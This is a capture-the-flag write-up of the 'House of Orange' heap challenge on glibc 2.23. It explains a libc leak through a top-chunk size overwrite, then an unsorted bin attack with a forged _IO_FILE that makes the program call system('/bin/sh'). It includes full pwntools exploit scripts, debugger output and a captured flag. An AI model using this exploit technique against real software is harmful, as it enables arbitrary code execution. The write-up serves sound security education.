Select Page

My teammate, Orange, need a house. Can you build it ? 
nc 52.68.192.99 56746

  1. Step 1: Leaking LIBC
  2. Step 2: Hijacking malloc_printerr()


Step 1: Leaking LIBC

peilin@PWN:~/hitcon-quals-2020/house_of_orange$ file houseoforange
houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /glibc/x64/2.23/lib/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ strings libc.so.6 | grep “release version 2.”
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

64-bit, stripped, LIBC version 2.23. Let’s see what it does:

peilin@PWN:~/hitcon-quals-2020/house_of_orange$ ./houseoforange
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :
Name :
Price of Orange:
+++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
+++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : asddf

Price of orange : 999
        __
        \/.——,
        //_.’
   .-“”-/””————..
  / . . . . . . . \
 / . . . . . . . . \
 |. .____ . ____. . |
 \ . . . . . . . . .|
 \. . . . . . . . ./
  \ . . .___. .. ./
   ‘-.__.__.__._-‘


+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :
Name :
Price of Orange:
+++++++++++++++++++++++++++++++++++++
 1. Red
 2. Green
 3. Yellow
 4. Blue
 5. Purple
 6. Cyan
 7. White
+++++++++++++++++++++++++++++++++++++
Color of Orange:4
Finish

(-_-)

In brief, for each house we Build, the program does the following things in sequence:

  1. A malloc(0x10), for a “house descriptor”, containing a name buffer pointer, as well as a metadata pointer;
  2. A variable sized (no longer than 0x1000) malloc() for the name buffer;
  3. A calloc(0x10) for the metadata.

There are two vulnerabilities in the program, both are pretty straightforward:

First, it malloc()s name buffers without ever initializing them. Additionally, it uses read() to get input from us, which means our input may not be NULL-terminated… 😉 This gives us a chance to leak some pointers by Seeing a house.

Second, when we Upgrade a house, the program simply read()s a new name into the old buffer without doing any boundary check, which gives us a heap out-of-bounds write.

Okay, first things first. There’s no Delete option in the program – how do we leak from an unsorted chunk, when the program does not even free()?

The idea is simple: We free() by malloc(). 🙂 Sounds philosophical, but how?

When there’s not enough space in the top chunk for an incoming request, malloc() calls sysmalloc(). See the very end of _int_malloc() at malloc/malloc.c:3823:

      /*
         Otherwise, relay to handle system-dependent cases
       */
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }
    }
}

If such a request is no less than mp_.mmap_threshold (which by default is 128K), sysmalloc() issues mmap() to get more memory from the OS:

  if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
	  && (mp_.n_mmaps < mp_.n_mmaps_max)))

Otherwise, it calls MORECORE, which internally issues brk(). More interestingly, in this case, sysmalloc() calls _int_free() on the old top chunk, which is exactly how we are going to get an unsorted chunk.

To summarize: We do a heap overflow, change the size of the top chunk to a small value, then do a huge (less than 128K though) malloc() so that it calls sysmalloc(), which issues brk() and puts the top chunk into unsorted bin. Then, we simply pick it off, write a little bit to it and print it out, as we always do.

Note however, sysmalloc() performs several checks on the top chunk size:

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
  1. No less than MINSIZE;
  2. Has prev_inuse bit set;
  3. Is page aligned;
  4. Less than the request size plus MINSIZE.

Let’s try it out:

from pwn import *

def build(length, name, price, color):
    p.sendlineafter("Your choice :", "1")
    p.sendlineafter("Length of name :", str(length))
    p.sendafter("Name :", name)
    p.sendlineafter("Price of Orange:", str(price))
    p.sendlineafter("Color of Orange:", str(color))

def leak():
    p.sendlineafter("Your choice :", "2")
    p.recvuntil(cyclic(0x8))
    return u64(p.recv(6).ljust(8, "\x00")) - 0x3c3b78

def upgrade(length, name, price, color):
    p.sendlineafter("Your choice :", "3")
    p.sendlineafter("Length of name :", str(length))
    p.sendafter("Name:", name)
    p.sendlineafter("Price of Orange: ", str(price))
    p.sendlineafter("Color of Orange:", str(color))

def pwn(p):
    build(0x18, cyclic(0x18), 8848, 0xddaa)
    
    # overwrite `size` of top chunk
    upgrade(0x40, cyclic(0x38) + p64(0xfa1), 8848, 0xddaa)  # fake `size`: 0xfa1

    # let sysmalloc() free the old top chunk into unsorted bin
    build(0x1000, cyclic(0x1000), 8848, 0xddaa)

    # ...so that we can leak from it
    build(0x8, cyclic(0x8), 8848, 0xddaa)
    libc = leak()
    success("libc base: " + hex(libc))
    p.close()

if __name__ == "__main__":
    p = process("./houseoforange")
    pwn(p)
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ python leak.py
[+] libc base: 0x7fccc52c3000

Nice. Time to get a shell!



Step 2: Hijacking malloc_printerr()

In short, we hijack the “abort routine” of malloc(). When malloc() detected something wrong, it calls malloc_printerr(). Let’s walk through an example:

          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);

malloc_printerr() calls __libc_message():

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);

Defined in sysdeps/posix/libc_fatal.c:66, __libc_message() calls abort():

  if (do_abort)
    {
      BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}

…which internally calls fflush(). See stdlib/abort.c:49:

  /* Flush all streams.  We cannot close them now because the user
     might have registered a handler for SIGABRT.  */
  if (stage == 1)
    {
      ++stage;
      fflush (NULL);
    }

Here, fflush() is actually defined as _IO_flush_all_lockp():

#include <libio/libioP.h>
#define fflush(s) _IO_flush_all_lockp (0)

Finally, defined in libio/genops.c:758, _IO_flush_all_lockp() is a very interesting function. Let’s take a closer look at it:

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

_IO_list_all is a singly linked list maintained by LIBC. Each entry in the list is a _IO_FILE_plus struct, which serves as a file stream descriptor. Entries are linked together using the _chain field.

Starting from _IO_list_all, _IO_flush_all_lockp() goes through the linked list and performs some checks (line 779~785) on each entry. If an entry passed all the checks, _IO_OVERFLOW (by default) calls _IO_new_file_overflow() using a function pointer (__overflow) in its vtable at offset 0x10.

Our challenge program does no I/O other than stdin, stdout and stderr. Let’s take a look:

gef➤ p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7f8658578540 <_IO_2_1_stderr_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stderr_)->_chain
$2 = (struct _IO_FILE *) 0x7f8658578620 <_IO_2_1_stdout_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stdout_)->_chain
$3 = (struct _IO_FILE *) 0x7f86585778e0 <_IO_2_1_stdin_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stdin_)->_chain
$4 = (struct _IO_FILE *) 0x0

Very interesting. As mentioned, the default __overflow function is _IO_new_file_overflow():

gef➤ p _IO_2_1_stderr_.vtable.__overflow
$5 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>
gef➤ p _IO_2_1_stdout_.vtable.__overflow
$6 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>
gef➤ p _IO_2_1_stdin_.vtable.__overflow
$7 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>

The idea is: If we get full control over one of the _IO_list_all entries, we can fool _IO_flush_all_lockp() into doing whatever we want. Let’s do this step by step.


First, let’s try to point _IO_list_all to somewhere else. We do an Upgrade to overwrite the current unsorted chunk with our own fake chunk, then do a Build to carry out an unsorted bin attack. The fake chunk we are going to build is so important to our exploit, so I’ve decided to give it a special name. Let’s call it orange. Why not? 🙂

Upon receiving the 0x10-byte request, malloc() searches through the unsorted bin, and picks off orange from the bin:

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

A quick calculation tells me that unsorted_chunks(av) equals to <main_arena+88>. So, if we set orange.bk to the address of _IO_list_all minus 0x10, malloc will point _IO_list_all to <main_arena+88>, on line 3517. Let’s see this in memory.

We also need a valid size to pacify malloc()…I’ll use 0x1000 as a placeholder for now.

Before the attack:

gef➤ p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7fd17b6f3540 <_IO_2_1_stderr_>

After the attack:

gef➤ p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7fd17b6f2b78 <main_arena+88>

We’ve hijacked _IO_list_all. Nice! main_arena+88 now becomes the fake _IO_2_1_stderr_.


Unfortunately, we don’t have full control over main_arena, so even if we’ve hijacked _IO_list_all, we can’t yet make _IO_flush_all_lockp() do any useful things for us:

gef➤ p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7fd17b6f2b78 <main_arena+88>
gef➤ p *_IO_list_all
$3 = {
  file = {
    _flags = 0x473e9010,
    _IO_read_ptr = 0x556c473c7100 “”,
    _IO_read_end = 0x556c473c7100 “”,
    _IO_read_base = 0x7fd17b6f3510 “”,
    _IO_write_base = 0x7fd17b6f2b88 <main_arena+104> “”,
    _IO_write_ptr = 0x7fd17b6f2b88 <main_arena+104> “”,
    _IO_write_end = 0x7fd17b6f2b98 <main_arena+120> “\210+o{\321\177”,
    _IO_buf_base = 0x7fd17b6f2b98 <main_arena+120> “\210+o{\321\177”,
    _IO_buf_end = 0x7fd17b6f2ba8 <main_arena+136> “\230+o{\321\177”,
    _IO_save_base = 0x7fd17b6f2ba8 <main_arena+136> “\230+o{\321\177”,
    _IO_backup_base = 0x7fd17b6f2bb8 <main_arena+152> “\250+o{\321\177”,
    _IO_save_end = 0x7fd17b6f2bb8 <main_arena+152> “\250+o{\321\177”,
    _markers = 0x7fd17b6f2bc8 <main_arena+168>,
    _chain = 0x7fd17b6f2bc8 <main_arena+168>,
    _fileno = 0x7b6f2bd8,
    _flags2 = 0x7fd1,
    _old_offset = 0x7fd17b6f2bd8,
    _cur_column = 0x2be8,
    _vtable_offset = 0x6f,
    _shortbuf = “{“,
    _lock = 0x7fd17b6f2be8 <main_arena+200>,
    _offset = 0x7fd17b6f2bf8,
    _codecvt = 0x7fd17b6f2bf8 <main_arena+216>,
    _wide_data = 0x7fd17b6f2c08 <main_arena+232>,
    _freeres_list = 0x7fd17b6f2c08 <main_arena+232>,
    _freeres_buf = 0x7fd17b6f2c18 <main_arena+248>,
    __pad5 = 0x7fd17b6f2c18,
    _mode = 0x7b6f2c28,
    _unused2 = “\321\177\000\000(,o{\321\177\000\000\070,o{\321\177\000”
  },
  vtable = 0x7fd17b6f2c38 <main_arena+280>
}

See? Currently the fake _IO_2_1_stderr_ simply contains a whole bunch of main_arena pointers, which makes no sense from _IO_flush_all_lockp()’s perspective… 🙁

Especially the _chain field. _IO_flush_all_lockp() will use it to find the next entry on the linked list, namely _IO_2_1_stdout_.

We can’t fake an entire _IO_2_1_stderr_, but if we can fake its _chain and point it at somewhere fully under our control, we can fake _IO_2_1_stdout_ instead. How is it even possible, though?

gef➤ p &((struct _IO_FILE *)_IO_list_all)->_chain
$4 = (struct _IO_FILE **) 0x7fd17b6f2be0 <main_arena+192>

It turns out that <main_arena+192> equals to the address of main_arena.bins[11]. In other words, if we control main_arena.bins[11], we conrtrol _chain.

What on earth is main_arena.bins[11]?

struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

bins[2*N - 2] and bins[2*N - 1] correspond to the HEAD and TAIL pointers in the N’th bin. In this case, bins[11] contains the TAIL pointer of the 0x60 small bin.

Here’s the trickiest part: Remember I set orange.bk to 0x1000 as a placeholder? Instead, if we set it to 0x60, after malloc() picks it off (and finds out it’s not a good fit for the request), malloc() will put orange into the 0x60 small bin, and write the address of orange to arena.bins[11], see line 3591:

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

In this way, we point _IO_2_1_stderr_._chain to orange. We are now able to fake an entire _IO_2_1_stdout_, since we fully control orange! I don’t know how @angelboy came up with this technique, but I must say this is insanely smart.


Now we’ve got everything we need to get a shell. I discussed File-Stream Oriented Programming (FSOP) in detail in my previous write-up.

To summarize, we build orange carefully, so that:

In _IO_flush_all_lockp(), we pass all the checks then trigger _IO_OVERFLOW():

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)

Then we make _IO_OVERFLOW call _IO_str_finish(), instead of the default _IO_new_file_overflow(), by setting orange.vtable to _IO_str_jumps - 0x8;

Finally, we abuse the following highlighted line in _IO_str_finish() to do a system("/bin/sh"):

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

Let’s take a look at our final version of orange:

        :    b"\x90" * 0x30    :
start!  +----------------------+
0x00    |      0xfbad8080      |    _flags
        +----------------------+
0x08    |         0x60         |    ((malloc_chunk) orange).size
        +----------------------+
                 ......            
        +----------------------+
0x18    | &_IO_list_all - 0x10 |    ((malloc_chunk) orange).bk
        +----------------------+
                 ......            
        +----------------------+
0x28    |      0xdeadbeef      |    _IO_write_ptr
        +----------------------+
                 ......            
        +----------------------+
0x38    |      &"/bin/sh"      |    _IO_buf_base
        +----------------------+
                 ......            
        +----------------------+
0xd8    | &_IO_str_jumps - 0x8 |    vtable
        +----------------------+
                 ......            
        +----------------------+    
0xe8    |        &system       |    ((_IO_strfile) orange)._s._free_buffer
        +----------------------+

Finally, here’s my exploit script. I used a python2 module called pwn_debug by @raycp.

from pwn_debug import *

context.arch = "amd64"  # used by IO_FILE_plus module

def build(length, name, price, color):
    p.sendlineafter("Your choice :", "1")
    p.sendlineafter("Length of name :", str(length))
    p.sendafter("Name :", name)
    p.sendlineafter("Price of Orange:", str(price))
    p.sendlineafter("Color of Orange:", str(color))

def leak():
    p.sendlineafter("Your choice :", "2")
    p.recvuntil(cyclic(0x8))
    return u64(p.recv(6).ljust(8, "\x00")) - 0x3c3b78

def upgrade(length, name, price, color):
    p.sendlineafter("Your choice :", "3")
    p.sendlineafter("Length of name :", str(length))
    p.sendafter("Name:", name)
    p.sendlineafter("Price of Orange: ", str(price))
    p.sendlineafter("Color of Orange:", str(color))

def pwn(p):
    build(0x18, cyclic(0x18), 8848, 0xddaa)
    
    # overwrite `size` of top chunk
    upgrade(0x40, cyclic(0x38) + p64(0xfa1), 8848, 0xddaa)  # fake `size`: 0xfa1

    # let sysmalloc() free the old top chunk into unsorted bin
    build(0x1000, cyclic(0x1000), 8848, 0xddaa)

    # ...so that we can leak from it
    build(0x8, cyclic(0x8), 8848, 0xddaa)
    libc = leak()
    success("libc base: " + hex(libc))

    _IO_list_all  = libc + 0x3c4520
    _IO_str_jumps = libc + 0x3c27a0
    str_bin_sh    = libc + 0x18c58b
    system        = libc + 0x45380

    orange = IO_FILE_plus()
    # 0x08: ((malloc_chunk) orange).size
    orange._IO_read_ptr = 0x60                
    # 0x18: ((malloc_chunk) orange).bk  
    orange._IO_read_base = _IO_list_all - 0x10
    
    # hijack _IO_OVERFLOW():
    orange.vtable = _IO_str_jumps - 0x8 
    # abuse _IO_str_finish():
    orange._IO_buf_base = str_bin_sh

    # other restrictions for things to work...
    orange._flags = 0xfbad8080
    orange._IO_write_ptr = 0xdeadbeef
    assert(orange._flags & 0x8000 != 0)
    assert((orange._IO_buf_base) and (orange._flags & 0x1 == 0))
    assert((orange._mode <= 0) and (orange._IO_write_ptr > orange._IO_write_base))

    # pack up
    payload  = cyclic(0x30)
    payload += str(orange)
    payload += cyclic(8)

    # 0xe8: ((_IO_strfile) orange)._s._free_buffer
    payload += p64(system)

    upgrade(len(payload), payload, 8848, 0xddaa)

    # PWN!
    p.sendline("1")
    p.interactive()

if __name__ == "__main__":
    p = process("./houseoforange")
    pwn(p)

One very last thing: The above exploit has a success rate of 1/2. The fake _IO_2_1_stderr_._mode contains the lower 4 bytes of main_arena.bins[22]:

gef➤ p &((struct _IO_FILE *) _IO_list_all)->_mode
$1 = (int *) 0x7f3df2181c38 <main_arena+280>
gef➤ p &main_arena.bins[22]
$2 = (mchunkptr *) 0x7f3df2181c38 <main_arena+280>
gef➤ p ((struct _IO_FILE *) _IO_list_all)->_mode
$3 = 0xf2181c28

Under ASLR, this value can be either positive or negative. When it is negative, _IO_flush_all_lockp() calls _IO_OVERFLOW on an invalid vtable, causing a segmentation fault.


Anyway, let’s see:

peilin@PWN:~/hitcon-quals-2020/house_of_orange$ python exp.py
[+] Starting local process ‘./houseoforange’: pid 4471
[+] libc base: 0x7f23823c7000
[*] Switching to interactive mode
 Finish
+++++++++++++++++++++++++++++++++++++
@          House of Orange          @
+++++++++++++++++++++++++++++++++++++
 1. Build the house
 2. See the house
 3. Upgrade the house
 4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : *** Error in `./houseoforange’: malloc(): memory corruption: 0x00007f238278b520 ***
$ cat flag.txt
hitcon{Y0ur_4r3_the_g0d_of_h34p_4nd_Or4ng3_is_s0_4ngry}

Nice!


References: